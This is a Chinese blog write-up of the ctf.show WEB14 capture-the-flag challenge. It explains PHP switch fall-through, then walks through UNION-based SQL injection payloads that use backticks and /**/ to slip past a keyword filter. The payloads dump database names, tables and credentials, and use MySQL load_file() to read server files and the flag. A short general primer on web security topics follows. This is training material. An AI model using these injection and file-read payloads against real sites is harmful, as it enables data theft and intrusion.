CTF show WEB14

题目地址:https://ctf.show

对于这个题第一个坑要过的话必须得了解php的switch case语句。
在这里举个例子:


$number=1;
switch ($number)
{
    case "1":
        echo "one";
    case "2":
        echo "two";
    case "3"
        echo "three";
 }

输出结果为 one two three
如果在 echo “one”;后面加上break,输出结果为 one。这里应该就明白了吧。如果不加break会一直执行下去,直到结束或者遇到break。

在这个题目中有一条限制 sleep($c);就是我们输入的c是多少就会等待多少秒然后执行。所以我们想要输出$url就得找到一个小的case。我们可以看到下图中的c=3显然满足。case 3 后面没有break会接着执行下面的echo "$url"
在这里插入图片描述
输入?c=3成功显示 here_1s_your_f1ag.php,接下来访问该页面。是一个很明显的注入页面,但还不确定能否注入。在这里插入图片描述
我们先来看一下网站源代码有条提示
if(preg_match(’/information_schema.tables|information_schema.columns|linestring| |polygon/is’, $_GET[‘query’])){
die(’@A@’);
}
过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。在这里提供一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如information_schema.tables和information_schema.`tables`都可以使用。
网页的弹窗使得我们不容易观察,我们直接在源代码页面进行注入。
例如这样view-source:http://124.156.121.112:28051/here_1s_your_f1ag.php?query=1/**/order/**/by/**/1
当输入order by 1时才不显示错误,所以有一个回显位置。
接下来使用联合注入。
爆库名(web)

?query=-1/**/union/**/select/**/database()

爆表名(content)

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

爆字段名(id,username,password)

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

爆值

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

到这我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret… 所以很有可能flag在secret.php中,现在就有一个问题,我们怎么从数据库中查看文件内容呢,mysql提供了读取本地文件的函数load_file()
所以我们构造语句:

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

得到如下内容

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

也就是如果/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值,所以我们直接将/real_flag_is_here读取即可得到flag。

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
### 关于CTF Web安全入门的相关知识 #### 什么是CTF中的Web安全? CTF(Capture The Flag)是一种网络安全竞赛形式,其中Web安全是一个重要的组成部分。它主要涉及对Web应用程序的安全测试和技术挑战。通过解决这些题目,参赛者可以学习到多种攻击技术以及防御措施。 #### 常见的CTF Web安全题型 在CTF比赛中,Web安全题目通常涵盖了多个方面,包括但不限于SQL注入、跨站脚本攻击(XSS)、文件包含漏洞、命令执行等[^1]。每种类型的题目都有其特定的技术背景和解决方案。 #### XSS攻击及其变体 XSS(Cross-Site Scripting),即跨站脚本攻击,是CTF中非常常见的一类问题。这种攻击允许恶意用户将代码嵌入其他用户的浏览器页面上运行。根据实现方式的不同,XSS分为存储型、反射型和DOM-based三种类型[^2]。对于此类题目,选手需要掌握如何构造有效的payload并绕过可能存在的防护机制。 #### 编码技巧的重要性 除了直接面对逻辑错误外,编码也是解决问题过程中不可忽视的一部分。例如ASCII编码、URL编码、HTML实体编码等多种转换手段经常被用来隐藏或者修改数据表现形式从而达到欺骗服务器的目的[^3]。理解它们的工作原理有助于更好地分析潜在漏洞所在之处。 #### HTTP请求处理 另一个重要概念就是正确理解和操作HTTP协议下的GET与POST方法的区别及应用场合。简单来说, GET主要用于获取资源而不会改变状态; POST则用于提交表单或者其他需引起副作用的操作[^4]. 掌握这两者的差异可以帮助我们更精准地定位某些基于参数传递而导致的功能异常点. ```python import requests url = 'http://example.com/login' data = {'username': 'admin', 'password': 'password'} response = requests.post(url, data=data) print(response.text) ``` 上述示例展示了如何利用Python库`requests`发起一次简单的POST请求登录尝试。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值